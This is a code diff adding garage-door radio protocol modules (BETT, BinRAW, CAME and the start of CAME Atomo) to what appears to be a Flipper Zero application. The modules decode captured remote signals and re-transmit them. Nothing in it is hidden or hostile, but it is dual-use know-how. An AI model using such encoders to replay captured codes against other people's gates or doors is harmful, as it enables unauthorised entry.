+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_bett_const.te_short * 44) <
+                        (subghz_protocol_bett_const.te_delta * 15))) {
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = BETTDecoderStepCheckDuration;
+        }
+        break;
+    case BETTDecoderStepSaveDuration:
+        if(!level) {
+            if(DURATION_DIFF(duration, subghz_protocol_bett_const.te_short * 44) <
+               (subghz_protocol_bett_const.te_delta * 15)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_bett_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                } else {
+                    instance->decoder.parser_step = BETTDecoderStepReset;
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                break;
+            } else {
+                if((DURATION_DIFF(duration, subghz_protocol_bett_const.te_short) <
+                    subghz_protocol_bett_const.te_delta) ||
+                   (DURATION_DIFF(duration, subghz_protocol_bett_const.te_long) <
+                    subghz_protocol_bett_const.te_delta * 3)) {
+                    instance->decoder.parser_step = BETTDecoderStepCheckDuration;
+                } else {
+                    instance->decoder.parser_step = BETTDecoderStepReset;
+                }
+            }
+        }
+        break;
+    case BETTDecoderStepCheckDuration:
+        if(level) {
+            if(DURATION_DIFF(duration, subghz_protocol_bett_const.te_long) <
+               subghz_protocol_bett_const.te_delta * 3) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = BETTDecoderStepSaveDuration;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_bett_const.te_short) <
+                subghz_protocol_bett_const.te_delta) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = BETTDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = BETTDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = BETTDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_bett_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBETT* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_bett_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBETT* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_bett_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBETT* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_bett_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_bett_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBETT* instance = context;
+    uint32_t data = (uint32_t)(instance->generic.data & 0x3FFFF);
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:%05lX\r\n"
+        "  +:   " DIP_PATTERN "\r\n"
+        "  o:   " DIP_PATTERN "\r\n"
+        "  -:   " DIP_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        data,
+        SHOW_DIP_P(data, DIP_P),
+        SHOW_DIP_P(data, DIP_O),
+        SHOW_DIP_P(data, DIP_N));
+}

applications/system/Garage Door Remote/protocols/bett.h

@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_BETT_NAME "BETT"
+
+typedef struct SubGhzProtocolDecoderBETT SubGhzProtocolDecoderBETT;
+typedef struct SubGhzProtocolEncoderBETT SubGhzProtocolEncoderBETT;
+
+extern const SubGhzProtocolDecoder subghz_protocol_bett_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_bett_encoder;
+extern const SubGhzProtocol subghz_protocol_bett;
+
+/**
+ * Allocate SubGhzProtocolEncoderBETT.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderBETT* pointer to a SubGhzProtocolEncoderBETT instance
+ */
+void* subghz_protocol_encoder_bett_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderBETT.
+ * @param context Pointer to a SubGhzProtocolEncoderBETT instance
+ */
+void subghz_protocol_encoder_bett_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderBETT instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_bett_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderBETT instance
+ */
+void subghz_protocol_encoder_bett_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderBETT instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_bett_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderBETT.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderBETT* pointer to a SubGhzProtocolDecoderBETT instance
+ */
+void* subghz_protocol_decoder_bett_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderBETT.
+ * @param context Pointer to a SubGhzProtocolDecoderBETT instance
+ */
+void subghz_protocol_decoder_bett_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderBETT.
+ * @param context Pointer to a SubGhzProtocolDecoderBETT instance
+ */
+void subghz_protocol_decoder_bett_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderBETT instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_bett_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderBETT instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_bett_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderBETT.
+ * @param context Pointer to a SubGhzProtocolDecoderBETT instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_bett_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderBETT.
+ * @param context Pointer to a SubGhzProtocolDecoderBETT instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_bett_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderBETT instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_bett_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/bin_raw.h

@@ -0,0 +1,110 @@
+#pragma once
+
+#include "base.h"
+#include "public_api.h"
+
+#define SUBGHZ_PROTOCOL_BIN_RAW_NAME "BinRAW"
+
+typedef struct SubGhzProtocolDecoderBinRAW SubGhzProtocolDecoderBinRAW;
+typedef struct SubGhzProtocolEncoderBinRAW SubGhzProtocolEncoderBinRAW;
+
+extern const SubGhzProtocolDecoder subghz_protocol_bin_raw_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_bin_raw_encoder;
+extern const SubGhzProtocol subghz_protocol_bin_raw;
+
+/**
+ * Allocate SubGhzProtocolEncoderBinRAW.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderBinRAW* pointer to a SubGhzProtocolEncoderBinRAW instance
+ */
+void* subghz_protocol_encoder_bin_raw_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderBinRAW.
+ * @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
+ */
+void subghz_protocol_encoder_bin_raw_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_bin_raw_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
+ */
+void subghz_protocol_encoder_bin_raw_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_bin_raw_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderBinRAW.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderBinRAW* pointer to a SubGhzProtocolDecoderBinRAW instance
+ */
+void* subghz_protocol_decoder_bin_raw_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderBinRAW.
+ * @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
+ */
+void subghz_protocol_decoder_bin_raw_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderBinRAW.
+ * @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
+ */
+void subghz_protocol_decoder_bin_raw_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_bin_raw_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_bin_raw_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderBinRAW.
+ * @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_bin_raw_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderBinRAW.
+ * @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_bin_raw_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_bin_raw_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/came.c

@@ -0,0 +1,386 @@
+#include "came.h"
+
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+/*
+ * Help
+ * https://phreakerclub.com/447
+ *
+ */
+
+#define TAG "SubGhzProtocolCame"
+
+#define CAME_12_COUNT_BIT    12
+#define CAME_24_COUNT_BIT    24
+#define PRASTEL_25_COUNT_BIT 25
+#define PRASTEL_42_COUNT_BIT 42
+#define PRASTEL_NAME         "Prastel"
+#define AIRFORCE_COUNT_BIT   18
+#define AIRFORCE_NAME        "Airforce"
+
+static const SubGhzBlockConst subghz_protocol_came_const = {
+    .te_short = 320,
+    .te_long = 640,
+    .te_delta = 150,
+    .min_count_bit_for_found = 12,
+};
+
+struct SubGhzProtocolDecoderCame {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderCame {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    CameDecoderStepReset = 0,
+    CameDecoderStepFoundStartBit,
+    CameDecoderStepSaveDuration,
+    CameDecoderStepCheckDuration,
+} CameDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_came_decoder = {
+    .alloc = subghz_protocol_decoder_came_alloc,
+    .free = subghz_protocol_decoder_came_free,
+
+    .feed = subghz_protocol_decoder_came_feed,
+    .reset = subghz_protocol_decoder_came_reset,
+
+    .get_hash_data = subghz_protocol_decoder_came_get_hash_data,
+    .serialize = subghz_protocol_decoder_came_serialize,
+    .deserialize = subghz_protocol_decoder_came_deserialize,
+    .get_string = subghz_protocol_decoder_came_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_came_encoder = {
+    .alloc = subghz_protocol_encoder_came_alloc,
+    .free = subghz_protocol_encoder_came_free,
+
+    .deserialize = subghz_protocol_encoder_came_deserialize,
+    .stop = subghz_protocol_encoder_came_stop,
+    .yield = subghz_protocol_encoder_came_yield,
+};
+
+const SubGhzProtocol subghz_protocol_came = {
+    .name = SUBGHZ_PROTOCOL_CAME_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
+            SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_came_decoder,
+    .encoder = &subghz_protocol_came_encoder,
+};
+
+void* subghz_protocol_encoder_came_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderCame* instance = malloc(sizeof(SubGhzProtocolEncoderCame));
+
+    instance->base.protocol = &subghz_protocol_came;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_came_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderCame* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderCame instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_came_get_upload(SubGhzProtocolEncoderCame* instance) {
+    furi_assert(instance);
+    uint32_t header_te = 0;
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+    //Send header
+
+    switch(instance->generic.data_count_bit) {
+    case CAME_24_COUNT_BIT:
+    case PRASTEL_42_COUNT_BIT:
+        // CAME 24 Bit = 24320 us
+        header_te = 76;
+        break;
+    case CAME_12_COUNT_BIT:
+    case AIRFORCE_COUNT_BIT:
+        // CAME 12 Bit Original only! and Airforce protocol = 15040 us
+        header_te = 47;
+        break;
+    case PRASTEL_25_COUNT_BIT:
+        // PRASTEL = 11520 us
+        header_te = 36;
+        break;
+    default:
+        // Some wrong detected protocols, 5120 us
+        header_te = 16;
+        break;
+    }
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_came_const.te_short * header_te);
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_came_const.te_short);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_came_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_came_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_came_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_came_const.te_long);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_came_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderCame* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(instance->generic.data_count_bit > PRASTEL_42_COUNT_BIT) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_came_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_came_stop(void* context) {
+    SubGhzProtocolEncoderCame* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_came_yield(void* context) {
+    SubGhzProtocolEncoderCame* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_came_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderCame* instance = malloc(sizeof(SubGhzProtocolDecoderCame));
+    instance->base.protocol = &subghz_protocol_came;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_came_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCame* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_came_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCame* instance = context;
+    instance->decoder.parser_step = CameDecoderStepReset;
+}
+
+void subghz_protocol_decoder_came_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCame* instance = context;
+    switch(instance->decoder.parser_step) {
+    case CameDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_came_const.te_short * 56) <
+                        subghz_protocol_came_const.te_delta * 63)) {
+            // 17920 us + 7050 us = 24970 us max possible value old one
+            // delta = 150 us x 63 = 9450 us + 17920 us = 27370 us max possible value
+            //Found header CAME
+            // 26700 us or 24000 us max possible values
+            instance->decoder.parser_step = CameDecoderStepFoundStartBit;
+        }
+        break;
+    case CameDecoderStepFoundStartBit:
+        if(!level) {
+            break;
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_came_const.te_short) <
+            subghz_protocol_came_const.te_delta) {
+            //Found start bit CAME
+            instance->decoder.parser_step = CameDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = CameDecoderStepReset;
+        }
+        break;
+    case CameDecoderStepSaveDuration:
+        if(!level) { //save interval
+            if(duration >= (subghz_protocol_came_const.te_short * 4)) {
+                instance->decoder.parser_step = CameDecoderStepFoundStartBit;
+                if((instance->decoder.decode_count_bit ==
+                    subghz_protocol_came_const.min_count_bit_for_found) ||
+                   (instance->decoder.decode_count_bit == AIRFORCE_COUNT_BIT) ||
+                   (instance->decoder.decode_count_bit == PRASTEL_25_COUNT_BIT) ||
+                   (instance->decoder.decode_count_bit == PRASTEL_42_COUNT_BIT) ||
+                   (instance->decoder.decode_count_bit == CAME_24_COUNT_BIT)) {
+                    instance->generic.serial = 0x0;
+                    instance->generic.btn = 0x0;
+
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                break;
+            }
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = CameDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = CameDecoderStepReset;
+        }
+        break;
+    case CameDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_came_const.te_short) <
+                subghz_protocol_came_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_came_const.te_long) <
+                subghz_protocol_came_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = CameDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_came_const.te_long) <
+                 subghz_protocol_came_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_came_const.te_short) <
+                 subghz_protocol_came_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = CameDecoderStepSaveDuration;
+            } else
+                instance->decoder.parser_step = CameDecoderStepReset;
+        } else {
+            instance->decoder.parser_step = CameDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_came_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCame* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_came_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCame* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_came_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCame* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(instance->generic.data_count_bit > PRASTEL_42_COUNT_BIT) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+    } while(false);
+    return ret;
+}
+
+void subghz_protocol_decoder_came_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderCame* instance = context;
+
+    uint32_t code_found_lo = instance->generic.data & 0x000003ffffffffff;
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    uint32_t code_found_reverse_lo = code_found_reverse & 0x000003ffffffffff;
+
+    const char* name = instance->generic.protocol_name;
+    switch(instance->generic.data_count_bit) {
+    case PRASTEL_25_COUNT_BIT:
+    case PRASTEL_42_COUNT_BIT:
+        name = PRASTEL_NAME;
+        break;
+    case AIRFORCE_COUNT_BIT:
+        name = AIRFORCE_NAME;
+        break;
+    }
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%08lX\r\n"
+        "Yek:0x%08lX\r\n",
+        name,
+        instance->generic.data_count_bit,
+        code_found_lo,
+        code_found_reverse_lo);
+}

applications/system/Garage Door Remote/protocols/came.h

@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_CAME_NAME "CAME"
+
+typedef struct SubGhzProtocolDecoderCame SubGhzProtocolDecoderCame;
+typedef struct SubGhzProtocolEncoderCame SubGhzProtocolEncoderCame;
+
+extern const SubGhzProtocolDecoder subghz_protocol_came_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_came_encoder;
+extern const SubGhzProtocol subghz_protocol_came;
+
+/**
+ * Allocate SubGhzProtocolEncoderCame.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderCame* pointer to a SubGhzProtocolEncoderCame instance
+ */
+void* subghz_protocol_encoder_came_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderCame.
+ * @param context Pointer to a SubGhzProtocolEncoderCame instance
+ */
+void subghz_protocol_encoder_came_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderCame instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_came_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderCame instance
+ */
+void subghz_protocol_encoder_came_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderCame instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_came_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderCame.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderCame* pointer to a SubGhzProtocolDecoderCame instance
+ */
+void* subghz_protocol_decoder_came_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderCame.
+ * @param context Pointer to a SubGhzProtocolDecoderCame instance
+ */
+void subghz_protocol_decoder_came_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderCame.
+ * @param context Pointer to a SubGhzProtocolDecoderCame instance
+ */
+void subghz_protocol_decoder_came_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderCame instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_came_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderCame instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_came_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderCame.
+ * @param context Pointer to a SubGhzProtocolDecoderCame instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_came_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderCame.
+ * @param context Pointer to a SubGhzProtocolDecoderCame instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_came_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderCame instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_came_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/came_atomo.c

@@ -0,0 +1,868 @@
+#include "came_atomo.h"
+#include <lib/toolbox/manchester_decoder.h>
+#include <lib/toolbox/manchester_encoder.h>
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+#include <lib/subghz/blocks/custom_btn_i.h>
+
+#define TAG "SubGhzProtocoCameAtomo"
+
+//variable used to bypass CounterMode settings if user just change Counter or Button
+static bool bypass = false;
+
+static const SubGhzBlockConst subghz_protocol_came_atomo_const = {
+    .te_short = 600,
+    .te_long = 1200,
+    .te_delta = 250,
+    .min_count_bit_for_found = 62,
+};
+
+struct SubGhzProtocolDecoderCameAtomo {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    ManchesterState manchester_saved_state;
+};
+
+struct SubGhzProtocolEncoderCameAtomo {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    CameAtomoDecoderStepReset = 0,
+    CameAtomoDecoderStepDecoderData,
+} CameAtomoDecoderStep;
+
+static uint8_t came_atomo_counter_mode = 0;
+
+const SubGhzProtocolDecoder subghz_protocol_came_atomo_decoder = {
+    .alloc = subghz_protocol_decoder_came_atomo_alloc,
+    .free = subghz_protocol_decoder_came_atomo_free,
+
+    .feed = subghz_protocol_decoder_came_atomo_feed,
+    .reset = subghz_protocol_decoder_came_atomo_reset,
+
+    .get_hash_data = subghz_protocol_decoder_came_atomo_get_hash_data,
+    .serialize = subghz_protocol_decoder_came_atomo_serialize,
+    .deserialize = subghz_protocol_decoder_came_atomo_deserialize,
+    .get_string = subghz_protocol_decoder_came_atomo_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_came_atomo_encoder = {
+    .alloc = subghz_protocol_encoder_came_atomo_alloc,
